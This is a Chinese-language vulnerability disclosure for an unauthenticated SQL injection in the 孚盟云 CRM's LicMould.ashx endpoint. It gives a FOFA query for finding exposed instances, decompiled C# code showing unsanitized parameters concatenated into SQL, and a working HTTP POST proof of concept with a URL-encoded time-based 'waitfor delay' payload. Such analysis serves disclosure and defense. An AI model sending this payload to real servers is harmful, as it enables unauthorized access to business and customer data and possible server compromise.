漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云LicMould.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 LicMould.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 LicMould 方法的实现如下
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string str1 = context.Request["action"];
if (!string.op_Equality(str1, "DeleteEmp"))
{
if (!string.op_Equality(str1, "TreeLoad"))
{
if (!string.op_Equality(str1, "Details"))
{
...
当 action=DeleteEmp 时,处理逻辑如下
string str7 = context.Request["fuids"];
string SQLString = $"delete from syLicMouldEmp where MouldKey={context.Request["key"]} and FUID in({$"'{str7.Substring(0, str7.Length - 1).Replace(",", "','")}'"})";
未经过滤或参数化绑定的参数 key 和 fuids 被直接拼接进SQL语句中进行执行,造成SQL注入漏洞。
其他当 action=Details时,也存在SQL注入漏洞。


整体执行逻辑如下

漏洞复现
POST /Ajax/LicMould.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=DeleteEmp&key=%31%20%77%61%69%74%66%6f%72%20%44%45%6c%61%59%27%30%3a%30%3a%34%27%2d%2d&fuids=1

成功延时 4 秒

